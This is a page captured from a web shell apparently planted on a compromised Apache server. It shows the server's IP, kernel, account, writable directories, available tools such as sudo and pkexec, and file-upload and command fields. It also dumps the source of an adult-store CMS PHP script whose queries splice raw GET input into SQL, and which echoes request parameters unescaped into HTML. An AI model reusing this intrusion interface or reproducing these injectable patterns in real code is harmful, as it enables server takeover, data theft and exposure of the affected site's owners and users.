403Webshell
Server IP : 208.122.213.31  /  Your IP : 216.73.216.45
Web Server : Apache
System : Linux msd6191.mjhst.com 4.18.0-553.137.1.el8_10.x86_64 #1 SMP Wed Jun 24 11:40:24 UTC 2026 x86_64
User : WHMCS_MIA_382 ( 1001)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/httpd/html/store.tiacyrusxxx.com/public_html/dev/TSCP2/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/httpd/html/store.tiacyrusxxx.com/public_html/dev/TSCP2/image_grab.php
<?
//http://www.diginudes.com/DNCP/image_upload.php?type=icon&section=model&save=77/icon.jpg&tn=none&id=77
include 'config.php';

if(!isset($_GET['type']) && !isset($_GET['section']) && !isset($_GET['save']) && !isset($_GET['tn']) && !isset($_GET['id'])){
die("missing variables");
}
if(!isset($_GET['feature_id'])) {
	$feature_id = 0;
} else {
	$feature_id = $_GET['feature_id'];
}
dbConn();
$content_id = $_GET['id'];

if ($_GET['section'] == "model") {
	//$get = mysql_query("SELECT name FROM cms_models WHERE model_id = '".$_GET['id']."'");
	$get = mysql_query("SELECT name, content_path FROM cms_content WHERE content_id = '".$_GET['id']."'");
} elseif ($_GET['section'] == "video") {
	$get = mysql_query("SELECT name, content_path FROM cms_content WHERE content_id = '".$_GET['id']."'");
} elseif ($_GET['section'] == "photoset") {
	$get = mysql_query("SELECT name, content_path FROM cms_content WHERE content_id = '".$_GET['id']."'");
} elseif ($_GET['section'] == "feature") {
	$get = mysql_query("SELECT name, content_path FROM cms_content WHERE content_id = '".$_GET['id']."'");
} else {
	die("error, wrong section");
}


$content_name = @mysql_result($get, 0, 'name');
$content_path = @mysql_result($get, 0, 'content_path');


if($_GET['section'] == "video") {
	$images = $mem_contentroot.$content_path;
	$tndir = opendir($images);
	while (false !== ($file = readdir($tndir))) {
		$ext = substr($file, strrpos($file, '.') + 1);
		if($file != '.' && $file != '..' && $file != 'tn' && $file != 'content_arr.php' && $file != 'thumbs.db' && $ext != "mov" && $ext != "wmv" && $ext != "mp4") {
			$tmpfiles[]=$file;
		}
	}
	closedir($tndir);
	natcasesort($tmpfiles);
	foreach ($tmpfiles as $tmpfile){
		$content_arr[] = $tmpfile;
	}
	
} else {	
	include($mem_contentroot.$content_path.'content_arr.php'); //$content_arr[]
}

if (isset($_GET['img'])) {

	$tmp = realpath(".").'/img/temp.jpg';
	$img = $_GET['img'];
	if($_GET['section'] == "video") { $img = $img - 1; }
	$filename = $mem_contentroot.$content_path.$content_arr[$img];
	$localfile = file_get_contents($filename);
	$handle = fopen($tmp,"w+");
	if(fwrite($handle,$localfile)>-1) {
		if($_GET['section'] == "feature") {
			createpotwthumb($filename,$featureroot.str_replace("tn_","",$_GET['save']),800,800);
		}
		if($feature_id == 0) {
			$id = $_GET['id'];
		} else {
			$id = $feature_id;
		}
		printf("<meta http-equiv=\"Refresh\" content=\"0;url=./image_crop.php?type=".$_GET['type']."&section=".$_GET['section']."&save=".$_GET['save']."&tn=".$_GET['tn']."&id=".$id."\">"); 
	} else {
		die("error could not write.");
	}
/*


if ($_POST['type'] == "fullimg") {
if(is_uploaded_file($_FILES['image']['tmp_name'])) { 
 $file_name = $_FILES['image']['tmp_name'];
 $localfile = file_get_contents($file_name);
 $source = $photosetsroot.$_POST['save'];
 $handle = fopen($source,"w+");
if(fwrite($handle,$localfile)>-1) {
$source = realpath(".").'/img/temp.jpg';
 $handle = fopen($source,"w+");
if(fwrite($handle,$localfile)>-1) {
printf("<meta http-equiv=\"Refresh\" content=\"0;url=./image_crop.php?type=tn&section=".$_POST['section']."&save=".$_POST['tn']."&tn=none&id=".$_POST['id']."\">"); 
}
exit;
} else {
die("error could not write.");
}
}
}

$source = realpath(".").'/img/temp.jpg';

if(is_uploaded_file($_FILES['image']['tmp_name'])) { 
 $file_name = $_FILES['image']['tmp_name'];
 $localfile = file_get_contents($file_name);
 $handle = fopen($source,"w+");
if(fwrite($handle,$localfile)>-1) {
printf("<meta http-equiv=\"Refresh\" content=\"0;url=./image_crop.php?type=".$_POST['type']."&section=".$_POST['section']."&save=".$_POST['save']."&tn=".$_POST['tn']."&id=".$_POST['id']."\">"); 
} else {
die("error could not write.");
}

}
*/
die();
}

?> 
<br><br>
<table width="800" border="0" align="center" cellpadding="5" cellspacing="0">
	<tr>
		<td bgcolor="#CCCCCC"><span class="fourbold">Grab Image</span> [ <?=$_GET['type']?> for <strong><?=$content_name?></strong> in <?=$_GET['section']?> ]
		</td>
	</tr>
	<tr>
	<td>
  <style>

.classname img {width:70%; height:70%; border:0;}
</style> 
<? //.classname {float:right;}
$count = 1;
$cols_count = 0;
echo "<table width=\"700\" border=\"0\" align=\"center\" cellpadding=\"10\" cellspacing=\"0\"><tr>";

foreach ($content_arr as $file){
	if($_GET['section'] == "video") {
		echo "<td valign=\"top\" align=\"center\" class=\"classname\"><a href=\"image_grab.php?section=".$_GET['section']."&type=".$_GET['type']."&id=".$content_id."&save=".$_GET['save']."&tn=".$_GET['tn']."&img=".$count."&feature_id=".$feature_id."\"><img border=0 src=\"../content/".$content_path."" . $file . "\"></a></td>";
	} else {
		echo "<td valign=\"top\" align=\"center\"><a href=\"image_grab.php?section=".$_GET['section']."&type=".$_GET['type']."&id=".$content_id."&save=".$_GET['save']."&tn=".$_GET['tn']."&img=".$count."&feature_id=".$feature_id."\"><img border=0 src=\"../content/".$content_path."tn/" . $file . "\"></a></td>";
	}	
	$count++;
	$cols_count++;
	if($_GET['section'] == "video") {
		if ($cols_count == 3){ echo "</tr><tr>"; $cols_count = 0; }
	} else {
		if ($cols_count == 4){ echo "</tr><tr>"; $cols_count = 0; }
	}
}
echo "</tr></table>";

?>

</td>
	</tr>
</table>

Youez - 2016 - github.com/yon3zu
LinuXploit